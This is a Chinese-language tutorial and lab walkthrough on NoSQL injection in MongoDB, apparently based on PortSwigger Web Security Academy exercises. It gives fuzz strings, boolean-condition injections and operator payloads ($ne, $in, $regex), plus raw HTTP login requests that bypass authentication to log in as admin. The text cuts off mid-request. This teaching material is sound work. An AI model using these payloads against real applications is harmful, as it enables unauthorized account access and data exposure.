NoSQL Injection是一种针对NoSQL数据库的安全漏洞,类似于传统的SQL注入攻击。NoSQL数据库是一类非关系型数据库,例如:MongoDB、Cassandra、Redis等,它们使用不同的数据存储和查询机制。NoSQL Injection漏洞的本质是未正确验证和过滤用户输入导致攻击者能够执行未经授权的操作从而破坏数据库的完整性、泄露敏感数据或执行其他恶意行为。
NoSQL注入可以简单的分为以下两种:
下面我们思考一个再MongoDB中显示不同类别产品的购物应用程序,当用户选择Fizzy饮料类别时,其浏览器会请求以下URL:
https://insecure-website.com/product/lookup?category=fizzy
此时应用程序发送JSON查询并从MongoDB数据库中的产品集合中检索相关产品:
this.category == 'fizzy'
要测试输入是否易受SQL注入攻击,我们只需要在类别参数的值中提交一个模糊字符串,MongoDB的一个示例字符串是:
'"`{;$Foo}$Foo \xYZ
使用此模糊字符串构建以下攻击向量,如果导致原始响应发生变化则可能表明用户输入没有正确过滤或净化
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
我们要确定应用程序将哪些字符解释为语法,我们可以注入单个字符,例如:可以提交',这将导致以下MongoDB查询:
this.category == '''
如果这导致原始响应发生更改,则可能表示" ' "字符破坏了查询语法并导致语法错误,您可以通过在输入中提交有效的查询字符串来确认这一点,例如:通过转义引号,如果不会导致语法错误则意味着应用程序容易受到注入攻击
this.category == '\''
检测到漏洞后下一步是确定是否可以使用NoSQL语法影响布尔条件。要测试这一点,我们需要发送两个请求,一个条件为false,一个为true,例如:可以使用条件语句'&&0&&'x和'&&1&&'x,如果应用程序的行为不同则表明假条件会影响查询逻辑,但真条件不会,同时也表明注入这种语法风格会影响服务器端查询
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'xhttps://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
现在您已经确定可以影响布尔条件,所以我们可以尝试覆盖现有条件以利用该漏洞,例如:您可以注入一个始终计算为true的JavaScript条件,例如:"||1||"
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
这将导致以下MongoDB查询,而此时由于注入的条件始终为true,因此修改后的查询将返回所有项,这使您能够查看任何类别中的所有产品,包括隐藏或未知类别
this.category == 'fizzy'||'1'=='1'
Step 1:首先访问靶场并选择过滤器对类别进行过滤
Step 2:随后对类别参数进行注入测试,提交以下语句会引发报错提示信息
/filter?category=a'
随后紧接着尝试对引号的闭合操作,构造如下语句:
Gifts'+'
Step 3:随后我们确定是否可以注入布尔条件来更改响应,首先是在类别参数中插入一个false条件
Gifts' && 0 && 'x
随后已检索到礼品类别中的产品
Gifts' && 1 && 'x
随后我们提交一个布尔条件,该条件在类别参数中的计算结果始终为true:
Gifts'||1||'
NoSQL数据库通常使用查询运算符,这些运算符提供了指定数据必须满足的条件才能包含在查询结果中的方法。MongoDB查询运算符的示例包括:
我们可以注入查询运算符来操作NoSQL查询,要做到这一点需要系统地将不同的运算符提交到一系列用户输入中,然后查看错误消息或其它更改的响应
在JSON消息中可以将查询运算符作为嵌套对象插入,例如:
#初始情况{"username":"wiener"}#嵌套之后{"username":{"$ne":"invalid"}}
对于基于URL的输入可以通过URL参数插入查询运算符,例如:
#初始情况username=wiener#嵌套之后username[$ne]=invalid
如果不起作用,可以尝试以下操作:
考虑一个易受攻击的应用程序,在POST请求的正文中接受用户名和密码
{"username":"wiener","password":"peter"}
用一系列运算符测试每个输入,例如:要测试用户名输入是否处理查询运算符则可以尝试以下注入
{"username":{"$ne":"invalid"},"password":{"peter"}}
如果应用了$ne运算符则会查询用户名不等于invalid的所有用户,如果用户名和密码输入都处理操作符,则可以使用以下有效载荷绕过身份验证
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
此查询返回用户名和密码不等于无效的所有登录凭据,因此你将作为集合中的第一个用户登录到应用程序,要以帐户为目标,您可以构造一个有效负载,其中包括已知用户名或您猜测的用户名,例如:
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
本靶场的登录功能由MongoDB NoSQL数据库提供,它很容易受到使用MongoDB操作符的NoSQL注入的攻击,请以管理员用户身份登录应用程序,你可以使用以下凭据登录到自己的帐户:wiener:peter
Step 1:使用上述凭据登录用户
Step 2:在Burpsuite中测试用户名和密码参数以确定它们是否允许您注入MongoDB操作符,首先将username参数的值从"wiener"更改为{"$ne":""},然后发送请求
POST /login HTTP/1.1Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.netConnection: closeContent-Length: 42sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB{"username":{"$ne":""},"password":"peter"}
随后将username参数的值从{"$ne":""}更改为{"$regex":"wien.*"},然后发送请求,可以看到这里我们使用$regex运算符时也可以登录
POST /login HTTP/1.1Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.netConnection: closeContent-Length: 51sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB{"username":{"$regex":"wien.*"},"password":"peter"}
随后将username参数设置为{"$ne":""}时,将password参数的值从"peter"更改为{"$ne":""},然后再次发送请求,这会导致查询返回意外数量的记录,这表示已选择多个用户
POST /login HTTP/1.1Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.netConnection: closeContent-Length: 45sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB{"username":{"$ne":""},"password":{"$ne":""}}
在密码参数设置为{"$ne":""}的情况下将用户名参数的值更改为{"$regex":"admin.*"},然后再次发送请求,可以看到这成功地将我们作为了管理员用户登录
POST /login HTTP/1.1Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.netConnection: closeContent-Length: 55sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://0a4f0028031131c6805b354a00